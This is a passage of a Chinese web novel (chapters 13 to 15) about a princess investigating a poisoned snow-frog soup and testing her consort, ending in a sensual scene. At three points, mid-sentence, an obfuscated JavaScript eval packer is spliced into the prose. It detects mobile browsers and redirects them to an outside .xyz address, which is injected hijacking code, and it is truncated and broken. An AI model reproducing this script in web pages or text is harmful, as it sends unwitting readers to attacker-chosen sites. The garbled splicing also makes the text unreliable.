冰封三尺,非一日之寒。想要扭转这早已深入人心的罗刹形象,无法凭三言两语便能办到。 这恶名,她认了。但这结局,她不会认。 扶盈理平衣摆,从容起身:“今日叨扰,倒让司命见笑了。” “殿下可听过三沸辨忠奸?” 温霁不紧不慢地端起青瓷盏,以银匙轻撇浮沫,仿佛外界的骚动从未发生,天地间只余她与这一盏清茶。 “初沸之声如稚子呜咽,二沸之响似怨鬼低鸣,至于这三沸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489358|185780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 青瓷盏在她掌心缓缓转动,氤氲热气模糊了她眼纱下的轮廓。 “最是滚烫灼人,也最能试出人心。殿下以为,是与不是?” “司命高见,令人深思。” 扶盈凝视着她眼纱上流转的淡淡暮色金纹,心中暗自权衡。 眼前之人是敌是友,目的为何,尚难断定。中毒之事疑窦丛生,即便对方言之凿凿,她也绝不轻信一面之词。 温霁似能看透她的心思,忽而轻声转言:“听闻殿下素来喜爱莲子雪蛤羹,可有此事?” 扶盈眉间一动,这不是明知故问吗?原主嗜好此物,在宫中不算什么秘密。 后来,兰秋白入了帝姬府,为了投其所好,更是耗费心力反复钻研此羹的做法,精益求精,极尽巧思。 扶盈不止一次尝过兰秋白的手艺,那羹汤滋味清甜醇厚,火候拿捏得恰到好处,比起御厨之作也不遑多让。 “此毒借雪蛤凉润之性为衣,银针验之不过,入体则寒毒相激,如油入面难分彼此。 非诊脉象浮沉之变,实乃君臣佐使相噬之象。” 温霁语气平稳无波,仿佛在谈论今日天气。 “当然,此亦只是医书所载,世间之事,无奇不有。或许是臣学艺不精,误判了。殿下若不放心,可再寻名医验证。” “多谢温司命慷慨解惑。” 扶盈沉吟片刻,露出盈盈笑意。她倾身向前,沉香气息若有似无地拂过那覆着眼纱的眉骨。 “他日,本殿定当携南枳新贡的雪顶含翠,亲至司命府上,共赏茶道玄妙。” 温霁下意识地向后一仰,手中茶盏微微一倾,几滴茶汤溅落在案几,发出细碎轻响。 她指尖抹过案沿水渍,淡然说道:“臣,静候殿下佳茗。” 扶盈微微颔首,正欲离去,被温霁一声温和的“且慢”唤住。 “殿下怕是忘了付诊金。”温霁示意药童将一包备好的药材奉上。 “春日气通于肝,最忌虚火妄动。当饮决明子配以金银花,清肝明目,正合时宜。” 扶盈绽出一个无可挑剔的完美笑容:“司命设想如此周到,那可真是……多谢了。” 随即她摸了摸衣袖与腰间,动作一滞,尴尬地发现一个铜板都没有,所有银钱皆在辰砂身上。 “实在不巧,今日出行匆忙,未带银两。待回府后,定即刻派人将诊金奉上。” 暮春的雨丝斜斜掠过青瓦,带着一丝凉意。 卖花的少男垂首疾行,并未留意眼前身影,竹篮一晃,篮中白山茶登时如碎玉般洒落一地。 扶盈见状,俯身欲拾,见那少男踉跄着连退数步,瑟瑟发抖,满面惊惶。 “民、民男该死!”少男脸色煞白,竟当即要跪叩下去。 扶盈止住他的动作,轻轻叹气:“无妨,抬起头来。” 少男颤巍巍仰脸,一双湿漉漉的眸子映入眼帘。扶盈拾起一朵完好的山茶,指尖轻拂去水珠,而后为他仔细别在髻边。 “花很衬你,”她语气温和,“小心点,早些归家吧。” 临走前,扶盈不由自主地回首。 纷纷雨丝如帘,落花零星飘散。她的目光越过朦胧雨幕,落回医馆深处。 这一刻,她无比感激这具身体目力极佳。 尽管隔着氤氲水汽与纷乱人影,她仍清晰地感觉到,那道被素纱遮掩的视线,似乎也正停留在她的方向。 而温霁唇角那一抹弯起的弧度,宛如春风拂过静潭,浅淡,却毋庸置疑。 13. 赠礼 武安侯府。 宋连蘅端坐于绣架前,双眉紧蹙,望着眼前那块素白绸布怔怔出神。 比起他擅长的剑招拳法,这捏着细针引线穿花的功夫,对他而言显得格外棘手。 “蘅弟啊,男儿家持针线通绣工,是安身立命的本分,由不得你任性。” 宋连芜用戒尺点过绣架,苦口婆心地说道:“你早晚是要嫁入高门,侍奉妻主的。若连这内帷之礼都拿不出手,失了体面,他日如何担得起正夫之责?” 宋连蘅虽心有不满,但迫于对方的淫威,只得硬着头皮,颤抖地尝试将那细如发丝的线穿过针眼。 一次、两次……屡试无果,那点本就不多的耐心几乎耗尽。 正当他搜肠刮肚,思索脱身之计时,门外忽然传来下人的通传声:“少将军,昭妧帝姬到访。” 话音未落,宋连蘅腾地站起身,眸中闪过一丝警惕与不安。果然不出他所料,扶盈怎会轻易善罢甘休? 先前那套说辞不过是缓兵之计,这才安生了几日,她便原形毕露,再度找上门来。 与宋连蘅的紧绷截然相反,宋连芜脸上露出了喜色。 “阿盈来了呀!我这就过去!”她当即放下戒尺,快步向门外走去,完全没注意身后宋连蘅的焦虑。 “阿姐!” 宋连蘅见状,一把拉住她的衣袖:“她不会是冲着我来的吧?我……我实在不想见她。” “少在这儿自作多情!”宋连芜甩开他的手,丢来一个大大的白眼。 “我与阿盈多日未见,她自是来找我的叙旧的。更何况,我早同她说过你人在庄子上休养,她怎会特意来寻你?” 说罢,她转身欲走,随即又想起了什么,猛地回头挥了挥拳头。 “你给我老实待着,好好做你的刺绣,别趁我离开偷懒耍滑,不然有你好看!” 宋连蘅心下更乱,手指无意识一松,那根折磨了他许久的细线,竟奇迹般地穿过了针眼。 但他此刻全然顾不上这意外的成功,满脑子都是如何应对扶盈这个不请自来的麻烦。 望着宋连芜的身影消失在视线,宋连蘅心里门儿清,这事不能全靠他那没心没肺的姐姐。 他得早做打算。 “喂,你站住!”他招手唤住正要退下的报信丫鬟,“过来,我有话问你。” 丫鬟忙小步近前,垂首行礼:“小侯爷请吩咐。” “昭妧帝姬……她可说了是来找谁的?” 丫鬟摇了摇头:“回小侯爷,帝姬并未明言是来找谁的,只说是有事要见少将军,具体何事,奴婢也不得而知。” 宋连蘅听罢,心中反而更加忐忑。以他对扶盈的了解,这含糊的说辞,分明就是冲着他来的。 瞧见宋连蘅这副坐立难安的模样,丫鬟犹豫片刻,开口道:“小侯爷,奴婢有句话,不知当讲不当讲……” “你直说便是。”宋连蘅有些不耐烦。 “帝姬虽然到访,但依奴婢愚见,您或许不必过于忧心。” “哦?”宋连蘅眉梢微挑,来了兴致,“此话怎讲?” 丫鬟于是将日前扶盈在紫山堂当众所言,关于已放下宋小侯爷且谨遵圣意以国事为重的话,一五一十转述给了他。 宋连蘅摩挲着下巴,眼神闪烁,似乎在掂量话里的可信度有几分。 这段时日,他未曾踏足紫山堂,一来是为避开扶盈,二来是母亲对他下了禁足令,连偷溜出去的机会都寻不到。 丫鬟见状,眼珠一转:“小侯爷,奴婢倒是有个主意……” “别卖关子了!”宋连蘅立刻催促。 丫鬟凑近他耳边,低声细语了几句。宋连蘅听着,眉头渐舒展,眼底掠过一丝狡黠的笑意。 …… 前厅之中,宋连芜手持扶盈所赠的剑穗,越看越是喜欢,当即吩咐随从去取自己的佩剑。 不多时,一名低眉顺眼的小厮手捧一柄寒光凛冽的长剑,小心翼翼地躬身而入。 剑身如镜,映出宋连芜带着笑意的脸庞。她正欲将剑穗系上剑柄,动作忽地一顿,目光陡然锐利起来。 眼前这小厮身形步态,怎么看都透着一股说不出的别扭。 “喂,你是哪个院里当值的?瞧着面生得很。”她眯起眼,沉声问道。 那小厮身形一僵,硬着头皮哑声道:“回、回少将军……小的是新来的。” 说罢还刻意压低嗓子咳嗽了两声,朝宋连芜使劲挤了挤眼,指望她能意会。 “一直咳嗽什么?染了风寒?”宋连芜眉头蹙得更紧,“既病了还不懂规矩,竟敢往前厅来?” 小厮只得把腰弯得更低,嗓音憋得愈发古怪:“多谢少将军关怀,小的只是略感风寒,不、不碍事的……” 一旁静观的扶盈早已看出端倪,唇角弯起一丝了然的笑意,出声打圆场:“罢了阿芜,既是新人,难免紧张,何必苛责?” 她大致猜出了这“小厮”究竟是谁。 以往原主与宋连蘅一个穷追不舍,一个见招拆招,斗智斗勇花样百出。可今日这拙劣的演技,实在是让人忍俊不禁。 宋连芜挠挠头,目光在那小厮身上转了两圈,眼中倏地闪过一丝恍然。 尽管对方用纱巾半遮着脸,一身粗布衣裳也刻意穿得松垮,可这身形仪态,分明就是自己那个不省心的弟弟! 她瞥了他一眼,虽不知这兔崽子又在搞什么名堂,但扶盈在场,她也不想徒增事端,索性懒得多问,只专心将剑穗系于剑柄。 完成后,她顺手挽了个剑花,流苏与寒光交织舞动,煞是好看。 宋连蘅在一旁暗暗撇嘴,内心腹诽:瞧你这点出息!一条剑穗就乐得找不着北了! “怎么样,是不是特别衬我?”宋连芜伸手揽住扶盈的肩膀,喜形于色,“阿盈,还是你懂我!这礼物可太合我心意了!” “你喜欢就好,总算没白费我一番心思。”见她如此开怀,扶盈也莞尔,“另外,那日我说话也有些冲,你别往心里去。” “这叫什么话!” 宋连芜连忙摆手:“咱们之间,何必为那点小事计较?本来也是我考虑不周。你不怪我,我就谢天谢地了!” “自然不会。” 扶盈笑了笑,想起此行目的,正欲示意宋连芜屏退旁人,冷不防被那个小厮插了话。 他似乎原本想说什么,话到嘴边又觉不妥,赶忙咽了回去,转而故作自然地低声道:“小的多嘴……这礼物虽好,怎、怎么没见给小侯爷也备上一份呢?” 扶盈端起茶盏的手微微一顿。 这话听着怎么如此别扭?难道宋连蘅至今仍以为她对他存着什么不该有的心思? 方才虽一眼识破他的伪装,但为免节外生枝,引起不必要的误会,她可自始至终都未多看那小厮一眼,只作全然不识。 “哎?说了让你退下,怎么还在这里磨磨蹭蹭?” 宋连芜不耐地挥挥手:“去告诉你家小侯爷,待会儿我就去找他算账,看他往后还敢不敢多嘴!” 话音未落,她趁其转身,直接飞起一脚踹去。那小厮显然早有防备,灵活侧身一闪,敏捷躲开,还不忘回头冲宋连芜做了个鬼脸。 待厅 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而原主作为臻荣君唯一的血脉,自是爱屋及乌,自幼便被国主视若珍宝。甫一出生,即破例赐封“昭妧帝姬”之号,恩宠之盛,后宫前所未有。 “不错,此前你在宫中,她们虽有心却不敢妄动。宫中人多眼杂,一旦暴露,便是万劫不复。她们冒不起这个险。” 宋连芜接过话,眸光锐利:“而今你已开府出宫,眼看日渐脱离掌控……她们这才敢使出慢性之毒,让你神不知鬼不觉地衰弱下去!” 扶盈点点头,想起温霁所言。 那玉髓烬毒性阴匿,需经年累月方能见效,初期症状与心神不宁、肝气郁结极为相似,因此难以被人察觉。 “好一个慈爱的皇贵君,好一个姐妹情深的二皇女。”她唇角勾起一抹冷冽的弧度,“阿芜,此事我绝不能就此作罢。” 宋连芜大手一摆:“你想怎么做?我必全力助你。” “当务之急,是固本培元,暗中清查。”扶盈思路清晰,“既已识破,我便有了防备。就先从府中查起,必能找到痕迹。” 还有温霁。 她此番出手点醒,绝非偶然。或许她……亦有所图,或可引为援手,但亦需试探其真心。 “阿盈,不必忧心,万事有我替你担着。” 宋连芜拍拍扶盈肩膀,朗声笑道:“只是眼下圣命难违,两日后我便要启程前往滢州,迎你那皇子小郎君。 你且在宁都稳住阵脚,一切待我归来,定与你一同清算这笔账!” 此时,安国前来联姻的九皇子车队想必早已出发,正朝滢州行进。待双方汇合后,便由宋连芜率军护卫,共同返回宁都。 扶盈心中忽地涌起一阵烦闷。 原主往昔只知追逐宋连蘅,对朝政大事毫不挂心,更无意争取参政之权。如今自己对这方面几乎一无所知,总不能永远倚赖宋连芜。 消息闭塞,只会让局面愈发被动。看来,必须得多花些心思应对皇女大考,无论如何都要拿下入朝资格。 见扶盈沉默,宋连芜以为她还在担心:“要我说,那对父女也没什么了不起! 扶央那点军功尚且不如我,不过仗着有个皇贵君的父亲罢了。咱姐妹联手,定把她们拉下马!” “嘘……” 扶盈心中一暖,却赶忙抬手轻掩她的口:“纵是在你府上,这般大逆不道的话也不可妄言,当心隔墙有耳。” 宋连芜眨了眨眼睛,反手握住她的手腕。 “我晓得轻重。方才所言,只是想让你知道,无论发什么,我宋连芜永远站在你这边。” 14. 雪蛤 此时门外,宋连蘅正猫着腰,蹑手蹑脚地贴在窗户上,耳朵竖得老高。 然而,屋内二人音量并不高,断断续续,只飘出“下毒”“阴谋”“拉下马”这些让人心惊胆战的只言片语。 宋连蘅心中“咯噔”一下,不禁倒吸一口冷气。他隐隐觉得……自己似乎撞破了一个不得了的大秘密! 他早该想到的,扶盈怎么可能无缘无故跑来示好?她那般心高气傲,哪里像是会真心低头道歉之人? 除非铁树开了花,石头缝里蹦出瓜;除非日头西边升,月亮东边挂明灯。 除非……而今的扶盈,不是从前的扶盈。 她与阿姐到底在暗地里密谋些什么? 平日里,扶盈送来的那些珍奇礼物,哪次不是明明白白,指名道姓地赠予宋小侯爷? 又几时有过她宋连芜的份儿? 可今日,扶盈自打迈进这门槛,竟连一句关于他的问询都没有,甚至在紫山堂中,公然放话与他彻底划清界限。 她心悦他多年,对他情深意切,真就能这般说变就变,毫无留恋? 这情况,实在是反常得过分了。 宋连芜啊宋连芜,你可千万清醒些,莫要一时糊涂,被那区区一条剑穗迷了心窍,轻而易举叫人拉拢了去! 扶盈若要行那大逆不道之事,他才懒得多管,甚至巴不得早日与她断得干干净净,从此再无瓜葛。 但倘若她妄图将宋连芜拖入这趟浑水,乃至赌上整个宋家的安危与荣辱,他又岂能坐视不理,任由事态恶化? 他倒非要瞧瞧,扶盈这葫芦里究竟卖的是什么药! …… 月华流转,夜露清润,将银辉洒作阶前碎玉。 扶盈踏夜色而归,及至寝殿前,一抹素影映入眼帘,如幽兰独立,清雅得不沾半点尘嚣。 “殿下,您回来了。” 兰秋白听到脚步声抬头,语气带着几分难掩的雀跃与小心,那双映着月光的眸子清澈见底,盛满了显而易见的期待。 扶盈目光在他脸上停留一瞬,嘴角习惯性地扬起一个浅淡弧度,眼底却无半分笑意。 “这么晚了,怎还不歇息?” “侍身心中记挂殿下,难以成眠,便在此等候。”兰秋白微微垂首,颊边掠过一丝极淡的红晕。 他似是鼓足了勇气,轻声道:“听闻殿下近日劳顿,侍身炖了雪蛤莲子羹温在厨下,里头特意添了安神的百合,不知……殿下可愿尝一尝?” 雪蛤羹…… 扶盈眸光骤然一凝,锐利如刀般扫向兰秋白,然而触及的仍是他那副纯然关切,甚至带几分讨好的模样。 世间怎会有这般巧合? 若这羹汤真和那「玉髓烬」有关,他可知晓内情? 若知晓……他在这桩阴谋里,扮演的又是何等角色? 是隐于温柔表象之下,与二皇女共谋毒害原主的刽子手?抑或……不过是一柄被她人利用而不自知的刀? 心念电转,不过一瞬。 她听见自己的声音依旧平稳,甚至比方才更温和几分:“美人既如此有心,本殿岂能不解风情?” 兰秋白眼中顿时漾开一片明亮喜色:“殿下稍后,侍身这便去取来!” 他转身时衣袂轻扬,步履较往日更显轻快,那一袭素衫渐融进廊庑深处的夜色,如一幅恬静美好的月下工笔。 扶盈立于原地,望着他离去的方向,眸中光华尽褪,只余一片沉沉的幽暗。 私心里,她不愿将这兰姿蕙质之人想得如此不堪。 兰秋白,或许也是这旋涡中的可怜人。 可她更明白,世间诸事,过于巧合的偶然,往往恰是有人精心铺排的必然。 而这盅即将端来的雪蛤羹,究竟是寻常的殷勤献媚,还是另一层更深的算计,她不得不防。 夜风轻拂,撩动扶盈鬓边几缕发丝。 她缓缓仰首,目光越过庭院中簌簌摇曳的枝影,投向那片无垠的墨蓝色天幕。 深邃的夜空宛如一盘宏大的棋局,繁星闪烁,恰似布局其间暗藏玄机的棋子。 它们明明各自辉耀,却又仿佛被一只无形巨手拨弄操控,身不由己地循迹运行。 而这重重宫阙,何尝不是浩瀚棋局中的一方寸土? 有人为博荣华富贵,铤而走险;有人为求仕途通达,机关算尽;更有人为攀那九五之位,步步为营,不惜掀起腥风血雨…… 每一个深陷其中的人,都成了棋枰上的棋子,受权欲的丝线牵引,甘愿牺牲一切抛弃所有,终至面目全非。 而她,又该如何落子,方能破局而不失本心? “殿下,夜深了,不如早些回寝殿歇息?”星罗不知何时已悄然来到身侧。 方才与宋连芜对饮的数杯佳酿后劲渐涌,扶盈不觉身形微晃。星罗与辰砂似早有默契,一左一右同时上前,稳稳扶住了她的手臂。 步入殿内,星罗利落地执起茶壶,暖黄的茶水如一道细泉淙淙注入杯中。 “殿下……” 她紧蹙眉头,攥着茶壶的手迟迟未放下:“这毒……可有解法?您可万万不能有丝毫闪失……” “明日不妨请许太医过来诊个脉?”辰砂凝立一旁,提议道,“您的身子一贯由她照料,如今出了这等事,她难辞其咎。” “辰砂说得是!” 星罗深表赞同:“殿下放心,若那许季胆敢有半句虚言,或是心怀不轨,婢子与辰砂定不会轻饶了她!必叫她知道,咱帝姬府绝非任人宰割之地!” “不必心急,解毒之事我自有主张。” 扶盈抬手,示意二人稍安勿躁:“至于许季,你们切莫轻举妄动,以免打草惊蛇。” 她轻晃手中茶盏,身姿端坐,透着一份沉静的慵懒。 那御窑特制的青瓷盏,釉色温润如玉,在跳跃的烛光与浸入窗棂的月色交织下,盏中茶汤微漾,热气袅袅,映得扶盈神情有些晦明难辨。 星罗仍不放心,轻声探问:“殿下,您如今身体可觉有何不适?” 谁知此言一出,扶盈竟重重叹了口气,惹得二人心头一紧,瞬间又担忧起来。 莫非殿下情况不妙? “说来此毒确实诡异。”扶盈面不改色地放下茶盏。 “近来我常觉记忆混沌,许多前尘旧事宛若隔着一层浓雾,朦胧难辨。至于武功……” 她适时流露出几分力不从心的怅然。 “更是大不如前,往日信手可来的招式,如今施展起来,竟觉内力滞涩,难以为继。” 言罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489360|185780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她敛眸掩去眼底一丝微光。 “殿下不必过忧,您先前坠马昏迷,能平安无事已是万幸。加上这毒性作祟,元气大伤,难以骤复,还需仔细将养些时日。” 星罗略作沉吟:“当务之急是揪出那府中奸细。明日一早,婢子便与辰砂着手彻查。 衣物、熏香、器皿……凡是经年累月所用之物,连同所有近身伺候之人,定当逐一细查,绝不放过任何蛛丝马迹。” “那本殿便等你们的好消息。”扶盈点点头。 “还有,需格外留意兰秋白,关注一下兰家这些年在宁都的人脉往来。” 星罗神色一怔,略显迟疑:“殿下是怀疑……兰郎君也牵涉其中?” “下毒绝非易事。” 扶盈语气渐冷:“兰秋白入府多年,掌我起居饮食,深知我独爱雪蛤羹。况且……你们可还记得,他当初是如何来到我身边的?” 她唇边浮起一抹讥诮:“及笄那年,皇贵君精心为我备下的贺礼。兰家不过是攀附之辈,借机将男儿送入我府中。” 原主当时一心系在宋连蘅身上,对此安排自是万分抗拒。可终究拗不过皇贵君的权势与手段,最终只得勉强收下,从此对兰秋白视若无物。 难怪前些时日在学堂,她便觉兰闻筝的举动透着蹊跷。先是故作仗义,后又刻意亲近。如今想来,不过是处心积虑的试探。 扶盈抬眸看向二人:“若兰秋白当真被用作下毒的棋子,无论自愿或是被迫,都绝不意外。” 毕竟,从将他送入府那日起,二皇女的如意算盘便已打好。 即便日后谋害原主之事败露,她亦能全身而退,推个替罪羊顶上,从而将自己摘得干干净净。 扶盈的视线再度落回手中茶盏,见汤中叶瓣已全然沉底,眸光瞬间一厉。 手腕翻转间,盏中茶水如一道银练疾射而出,猛然泼洒在地面,溅起片片的细碎水光。 “至于那许季,且先交由辰砂暗中盯梢。我记得,其独女远在边军,可趁此一并核实此事。” 辰砂斩钉截铁应道:“是,殿下!” 二人领命退出,恰在廊下碰上了兰秋白。 他驻足敛祍,轻声细语道:“两位姐姐安好。” 方才还谈论着要调察此人,此刻迎面相遇,星罗与辰砂迅速交换了一个心照不宣的眼神,略一颔首便径直离去。 待走出一段距离,星罗才压低声音道:“辰砂,你觉不觉得……咱殿下近来有些不同?” “何处不同?” “我也说不上来,只是觉着……自打殿下坠马醒来,就好似换了个人般。” 星罗努力斟酌着词句:“从前的殿下性子急,除了宋小侯爷,对旁人旁事都不甚在意。 可如今殿下不仅沉稳了许多,处事更有主见,连带着对兰秋白、柳松松,乃至府中上下,都宽和了不少…… 实在让人有些不习惯。” “我倒觉得,这并非坏事。”辰砂缓声道,“殿下历经生死大劫,心性有所转变,更为明达宽厚,亦是成长。” “说得是!正所谓祸兮福所倚。” 星罗眼神倏然一亮,重重点头:“眼下正值多事之秋,殿下既信重你我,我们必当竭尽全力,为殿下将此事查个水落石出!” 15. 上药 扶盈自浅眠中蹙眉转醒,耳畔传来不疾不徐的叩门声,轻缓中透着小意谨慎。 “进来。” 她嗓音裹着未散的慵懒,眼尾还洇着惺忪睡意。门扉轻启,一缕清甜花香先飘了进来。 兰秋白端来雪蛤羹,鬓边沾了一小片浅紫色藤花瓣,为他低眉顺眼的姿态平添几分生动。 虽仍垂首敛目,但心底那丝难以言喻的期盼,冲淡了盘桓多年的忐忑。 他将羹盅置于案上,视线触及扶盈倚案而眠的倦容,声音不由放得更软: “殿下这般睡,易受风寒,于身子无益。不如让侍身为您稍作按揉,解一解乏?” 扶盈并未如往常般应声。 目光抬起,落在那盅雪蛤羹上,唇边漾开一抹浅淡的笑意。 “小白总是这般贴心。” 她执起玉匙,在兰秋白的注视下,从容地舀起一勺,送至唇边轻抿一口。 “这雪蛤羹,你费心了。连府里专司羹汤的厨郎,怕是都要逊你几分手艺。” “侍……侍身分内之事,不敢当殿下夸赞。若能为您宽心,侍身日日炖煮也是甘愿的。” “是啊,分内之事。” 扶盈语气温和,却像无形的丝线,一层层缠绕上来,让兰秋白放松些的心弦倏地绷紧。 “只是不知,你这样尽心竭力,是为了讨好本殿,还是为了……完成什么人的嘱托?” 什么人的嘱托? 兰秋白猛然抬头,脸上血色褪去,眼中漫上的是被骤然误解的巨大惊恐与委屈。 “殿下!侍身没有!”他急急跪倒,声音带了轻颤,“侍身只是……只是想伺候好您一人!求殿下明鉴,相信侍身!” 他仰头望向扶盈,眼圈不受控制地泛了红,那眼神湿漉漉的,像被抛弃的小兽。 扶盈凝视着他自然而然的反应,并未瞧出丝毫心虚的破绽。因中毒滋生出的猜疑,被这双清澈无助的眸子驱散了大半。 “本殿不过是随口一说,瞧把你吓得。” 她轻笑一声,周身迫人的气势稍稍收敛。烛光在她眼中流转,带着几分难以捉摸的深意。 “你待本殿之心,日月可鉴,本殿岂会不知?这羹汤,本殿自然信得过你。” 扶盈将羹盅轻轻推向兰秋白,声音压低,带着若有似无的亲昵。 “只是,本殿今日胃口欠佳,闻着这腥甜之气便觉腻烦。扔了也是可惜—— 既是如此合意,不如……你我共饮?” 兰秋白闻言,猛地一怔:“殿下!这、这于礼不合,侍身万不敢僭越!” “怕什么?”扶盈重新舀起一勺羹汤,直接递到了兰秋白唇边,“本殿赏的,你敢不受?” 玉匙边缘泛着温润光泽,雪蛤的清香萦绕在鼻尖。兰秋白颤抖着张开唇,喉结滚动,将羹汤咽下。 扶盈收回空了的玉匙,指尖不经意间滑过他的下唇,带来一阵酥麻。 看其神色如常,一口一口地将雪蛤羹尽数用了下去,扶盈心中大致有了判断。 方才,她悉心留意着兰秋白面上每一丝细微之变,那情态纯粹且真切,不见半分伪饰的痕迹。 看来,他确是对雪蛤之事一无所知。在她接连的试探下,还能如此稳如泰山,除非,兰秋白的演技和心理素质皆非寻常人能及。 “小白,我有些乏了,扶我到榻上歇一歇。” 扶盈轻轻以手扶额,确觉有些疲惫。不是身体,而是心。 兰秋白心跳猛地一滞,仿佛受惊的小鹿在胸腔里慌乱撞了一下。 他兴奋于这罕见的亲近,又羞赧于自己的失态,更怕任何一点差错会惹恼她,只能强自压抑着,连呼吸都放轻了。 待将扶盈扶至榻边,听得她再度开口:“小白,那边紫檀木匣里,有一个羊脂玉小瓶,取来。” 兰秋白依言寻来,双手奉上。玉瓶触手温润,不及他此刻心头滚烫。 扶盈将他这副模样尽收眼底,心中五味杂陈。这少男心的心思,其实浅白得令人怜惜。 不得不承认,若在现代,她或许更偏爱阳光开朗大男孩。像兰秋白这种清纯稚嫩,又自带易碎感的小白花,并非她的菜。 然而现下,看着他低眉顺眼难掩局促的模样,她竟无端感到喉间发紧,一种微妙的情愫在胸腔里悄然蔓延。 当初,原主对兰秋白冷若冰霜,满心满眼都是宋连蘅那个死直男。可既是她现在成了这昭妧帝姬,替原主关照一番被苛待许久的身边人,似乎也无可厚非? 对于自己而言,当然是温顺知礼、剔透懂事的小白更为惹人怜惜。 她垂眸看向半跪于榻前的兰秋白,他因俯身的动作,衣襟微松,露出一段清秀的锁骨。 颈侧沾着半片未拂去的紫藤瓣,随呼吸起伏,若隐若现。 扶盈的视线不由在那抹淡紫上停留了一瞬。 “这是太医院秘制玉容膏,祛疤生肌有奇效。”她接过小巧的玉瓶,轻旋瓶塞,“将上衣宽了。” 兰秋白脑子嗡的一声,几乎无法思考。殿下……要亲自为他上药? 即便殿下近来待她宽和许多,但他仍有自知之明,两人之间远未到可坦然相对的地步。 更何况,他身上那些旧痕的始作俑者,正是眼前之人。 敬她畏她皆出自真心,可他更怕那狰狞旧疤会招致厌弃,怕好不容易得来的些许温存,转眼成空。 “殿下!不可!侍、侍身真的无碍,万不敢污了殿下的眼!求殿下……” “怎么,是信不过本殿的手法,还是……”扶盈尾音沾着笑意,“怕本殿对你做些什么? “侍身……怎敢如是想。” 兰秋白垂着头,不敢迎上她的目光,生怕从中看到一丝不悦或嫌恶。 他手指颤抖着,迟疑地探向腰侧,缓缓松开衣带。衣衫无声滑落,展露出其下遮掩的风景。 烛光顺着肩胛的曲线流淌,勾勒出纤细而柔韧的姿影。 他背上与臂膀间,清晰映着几道淡粉色的旧痕,间或夹杂些许磕碰或掐拧留下的印记。 宛若细瓷之上淡扫的冰纹。 非但未损其美,反添了几分易碎的风致,仿佛稍稍重一点触碰,便会惊散这一片莹白。 扶盈蘸取药膏,轻柔覆上那道最长的疤痕。肌肤相触的瞬间,兰秋白瑟缩了一下,连耳根都透出绯色,一路蔓延至颈侧。 他死咬住下唇,出于本能紧紧闭上了眼睛,试图压抑喉间几乎要溢出的呜咽,呼吸也逐渐乱了节拍。 一种混杂着巨大羞耻、惶恐以及一丝无法言喻的贪恋与幸福的战栗,席卷了他全身。 就在这令人窒息又旖旎的氛围中,兰秋白的目光无意间掠过扶盈空无一物的手腕。 那年,在昭妧帝姬的及笄大典上,圣上将那只世间罕有的「九渊血珀」手钏当众赐予帝姬,并亲自为其戴上。 据说此手钏采自极渊之底,万年古木凝结而成的顶级血珀,具有安神定魄、滋养气血的灵效。 并由最顶尖的微雕大师,在每一颗珠上都精琢了形态各异的毕方神鸟。长期佩戴,可温润体肤,潜移默化中强健根骨,于习武修身之人大有裨益。 昭妧帝姬对其珍爱异常,拂拭养护必亲为,且日日佩戴从不离腕,便是沐浴就寝也未曾卸下。 “殿下……您近日,似乎未曾戴那只「九渊血珀」手钏……” 深植于心的罪愆,与渴望知晓她一切动向的念头交织,令兰秋白一时心神失守,脱口问出。 话音未落,他瞬间清醒,脸色“唰”地变白!他立刻后悔不已,慌忙请罪:“侍身失言……请殿下恕罪!” 扶盈正准备拧上药瓶的动作,因这突如其来的问题而微微一顿。 她抬眸,目光若有所思地落向兰秋白那张写满惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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甚至没有回应这个吻,只是任由他贴着,甚至能清晰地感受到他全身紧绷的轮廓和那几乎要跃出胸膛的心跳。 她心中因手钏而起的些许疑虑,在此刻被这送上门的鲜活“谢礼”冲淡了几分。 就在兰秋白因她的毫无反应而逐渐感到慌乱和无错,即将退缩之时—— 扶盈动了。 她骤然翻身,天旋地转间,兰秋白只觉一阵恍惚,后背便已陷入柔软的锦被之中,被扶盈居高临下地笼罩在阴影之下。 兰秋白惊愕地睁开眼,对上的是扶盈近在咫尺的眸子。 那眸中先前慵懒戏谑的神色褪去,取而代之的,是一种深邃且带着灼热温度的危险光芒,仿佛盯住了猎物的猛兽。 扶盈一只手轻松地扣住他两只手腕,压在他头顶上方,而一只手的手指则慢条斯理地抚过他刚刚因亲吻而变得湿润红肿的唇瓣。 她低下头,温热的呼吸喷洒在他的耳廓和颈侧,带来一阵阵战栗。 “这般生涩……” “入府前,没人教过你吗?” 她微微勾起唇角,那笑容带着一丝邪气,俯身凑得更近,几乎要覆上他的唇,偏又留有一丝微不可察的距离。 “无妨。” “今晚……” “本殿教你。” 一字一句,如同惊雷,又似最甜蜜的咒语,深深敲击在兰秋白的心尖上。 酥麻感一路蹿升,他望着上方那张昳丽逼人,又充满侵略性的脸庞,只觉得浑身血液都涌向了头顶。 